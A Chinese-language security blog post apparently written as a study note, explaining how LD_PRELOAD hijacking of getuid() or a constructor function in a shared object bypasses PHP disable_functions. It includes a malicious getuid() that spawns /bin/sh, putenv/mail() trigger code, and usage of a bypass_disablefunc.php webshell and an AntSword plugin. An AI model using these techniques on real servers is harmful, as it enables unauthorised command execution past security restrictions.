February 26, 2024

LD_PRELOAD

原理

LD_PRELOAD 是一个在 Linux 系统中非常强大的环境变量

LD_PRELOAD 是 Linux 动态链接器 ld.so 提供的一项功能。其工作原理是:当程序运行时,操作系统会加载它所需的共享库(.so 文件),而 LD_PRELOAD 可以在加载这些库之前指定先加载哪些库。这就意味着:

我们通过环境变量 LD_PRELOAD 劫持系统函数,可以达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。

注意

能够上传自己的.so文件

能够控制LD_PRELOAD环境变量的值,比如putenv()函数

因为新进程启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()imap_mail()mb_send_mail()error_log()函数等

动态链接机制的工作原理

当你在 Linux 系统中运行一个程序时,程序通常会依赖多个共享库(共享对象 .so 文件)。动态链接器(ld.so)的任务就是在程序启动时找到并加载这些共享库,同时解析程序中需要的函数符号(函数的地址和实现)。这个过程大致包括以下几个步骤:

  1. 程序启动时的符号解析:程序代码中如果需要调用某个函数(例如 b()),链接器会根据程序运行时的动态库依赖,去找到包含这个函数的共享对象(如 c.so)。
  2. 符号查找顺序:当动态链接器解析符号(例如函数 b())时,它遵循一定的顺序。这就决定了程序会首先找到哪个库中的 b() 实现。

LD_PRELOAD 如何改变符号查找顺序

通常情况下,动态链接器按照以下步骤查找符号:

  1. 程序内部定义的符号:首先,动态链接器会在程序内部查找符号(函数、变量等)。
  2. 依赖的共享库:如果程序没有定义这个符号,链接器就会去查找程序依赖的共享库。例如,如果程序依赖 c.so,就会在 c.so 中寻找 b() 的实现。
  3. 标准系统库:如果依赖库中也没有找到,动态链接器会继续在标准系统库(如 libc.so 等)中查找。

然而,当设置了 LD_PRELOAD 环境变量时,动态链接器的查找顺序发生了改变:

这意味着,LD_PRELOAD 设置了 c_evil.so 的情况下,动态链接器会优先在 c_evil.so 中查找函数 b() 的定义,而不会去查找系统的 c.so 中的 b() 函数。

编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 getuid_shadow.so;

攻击流程

攻击流程

1. 编写 getuid() 函数并编译为共享对象

攻击者编写一个和标准库中 getuid() 函数具有相同签名的函数。getuid() 是一个标准的 POSIX 系统调用,它返回调用进程的用户 ID。因为许多程序(如 sendmail)在运行过程中会调用这个函数,所以攻击者可以利用它作为一个劫持的目标。

攻击者编写的 getuid() 函数不仅返回用户 ID,还可以包含恶意代码,如执行系统命令:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// 自定义的 getuid() 函数,模拟标准的系统调用
uid_t getuid(void) {
// 这里执行恶意操作,比如启动一个 shell
system("/bin/sh"); // 启动 shell

// 返回一个假的 UID 或者真实的 UID,保证正常流程不受影响
return 1000; // 返回一个伪造的 UID,程序继续正常运行
}

编译成共享对象(动态链接库),以便之后通过 LD_PRELOAD 进行加载:

1
gcc -fPIC -shared -o getuid_shadow.so getuid_shadow.c

生成的 getuid_shadow.so 是一个包含攻击者自定义 getuid() 实现的共享对象。

2. 使用 putenv() 设置 LD_PRELOAD 环境变量

接下来,攻击者利用 PHP 的 putenv() 函数来设置环境变量 LD_PRELOAD,从而劫持程序对 getuid() 函数的调用。

1
putenv("LD_PRELOAD=/path/to/getuid_shadow.so");

3. 利用 mail() 函数触发新进程的创建

接下来,攻击者调用 PHP 的 mail() 函数。虽然 PHP 的常规命令执行函数(如 system()exec())可能已被禁用,但 mail() 函数通常仍然可以使用,并且 mail() 函数内部会启动 sendmail 进程来发送邮件。

1
mail("example@example.com", "Test Subject", "Test Message");

4. LD_PRELOAD 的作用:劫持 getuid() 函数

由于 putenv() 已经将 LD_PRELOAD 设置为攻击者的共享对象 getuid_shadow.so,所以当 sendmail 进程启动并调用 getuid() 函数时,系统会首先加载并使用 getuid_shadow.so 中的 getuid() 函数,而不是标准库中的 getuid()

因此,sendmail 进程在执行 getuid() 时,实际上调用的是攻击者的恶意版本:

1
system("/bin/sh");  // 启动一个 shell

这会执行攻击者指定的恶意操作(如启动 shell,执行其他系统命令等)。通过这种方式,攻击者绕过了 PHP 中对系统命令执行函数的限制,而成功执行了操作系统级别的命令。

限制

一是,某些环境中,web 禁止启用 sendmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid(),通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;

二是,即便目标可以启用 sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts(如,127.0.0.1 lamp、lamp.、lamp.com)。

大佬yangyangwithgnu的破局

在加载时就执行代码(拦劫启动进程),而不用考虑劫持某一系统函数

回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。这种场景与 C++ 的构造函数简直神似!

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>

// 在共享对象加载时执行的函数
void init_library(void) __attribute__((constructor));

void init_library(void) {
printf("Library loaded! Executing constructor function.\n");
}

// 一个普通的函数
void my_function(void) {
printf("This is a function in the shared object.\n");
}
1
gcc -shared -o libexample.so -fPIC libexample.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <dlfcn.h>

int main() {
void *handle;
void (*func)();

// 动态加载共享对象
handle = dlopen("./libexample.so", RTLD_LAZY);
if (!handle) {
fprintf(stderr, "%s\n", dlerror());
return 1;
}

// 查找函数地址
func = dlsym(handle, "my_function");
if (!func) {
fprintf(stderr, "%s\n", dlerror());
return 1;
}

// 调用共享对象中的函数
func();

// 关闭共享对象
dlclose(handle);
return 0;
}

**RTLD_LAZY**:表示惰性解析符号。也就是说,只有在符号(函数或变量)真正被使用时,才会解析该符号。这种方式提高了性能,特别是在库中有很多函数时,程序只会解析实际需要调用的函数。

另一个常见的标志是 **RTLD_NOW**,它会立即解析库中的所有符号。如果符号解析失败,dlopen() 将立即返回错误。

dlsym() 用于获取共享库中指定函数的地址。它的第一个参数是 dlopen() 返回的句柄,第二个参数是要查找的函数名称(以字符串形式给出)。在这里,查找的是 libexample.so 中的 my_function 函数。

如果找到了指定的函数,dlsym() 返回该函数的地址,程序可以通过函数指针 func 调用它。如果没有找到指定的符号,dlsym() 返回 NULL,并通过 dlerror() 获取错误信息。

dlclose() 用于关闭通过 dlopen() 打开的共享库,并释放其相关资源。关闭后,句柄 handle 将不再有效,程序不能再通过它访问共享库中的符号。

如果不调用 dlclose(),共享库会一直保持在内存中,直到程序退出。

1
2
gcc -o main main.c -ldl
./main

通过 LD_PRELOAD 劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD。最直观的做法是调用 unsetenv("LD_PRELOAD"),这在大部份 linux 发行套件上的确可行,但在 centos 上却无效,究其原因,centos 自己也 hook 了 unsetenv(),在其内部启动了其他进程,根本来不及删除 LD_PRELOAD 就又被劫持,导致无限循环。所以,我得找一种比 unsetenv() 更直接的删除环境变量的方式。是它,全局变量 extern char** environ!实际上,unsetenv() 就是对 environ 的简单封装实现的环境变量删除功能。

项目中有三个关键文件,bypass_disablefunc.php、bypass_disablefunc_x64.so、bypass_disablefunc_x86.so。

bypass_disablefunc.php 为命令执行 webshell,提供三个 GET 参数:

1
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

一是 cmd 参数,待执行的系统命令(如 pwd);二是 outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;三是 sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。此外,bypass_disablefunc.php 拼接命令和输出路径成为完整的命令行,所以你不用在 cmd 参数中重定向。

bypass_disablefunc_x64.so 为执行命令的共享对象,用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 将 bypass_disablefunc.c 编译而来。 若目标为 x86 架构,需要加上 -m32 选项重新编译,bypass_disablefunc_x86.so。

想办法将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so 传到目标,指定好三个 GET 参数后,bypass_disablefunc.php 即可突破 disable_functions。执行 cat /proc/meminfo

注意

对于bypass_disablefunc.php,权限上传到web目录的直接访问,无权限的话可以传到tmp目录后用include等函数来包含,并且需要用 GET 方法提供三个参数:

Antsword有插件。

我们选择LD_PRELOAD模式并点击开始按钮,成功后蚁剑会在/var/www/html目录里上传一个.antproxy.php文件。我们创建副本, 并将连接的 URL shell 脚本名字改为.antproxy.php获得一个新的shell,在这个新shell里面就可以成功执行命令了。

About this Post

This post is written by void2eye, licensed under CC BY-NC 4.0.

#Web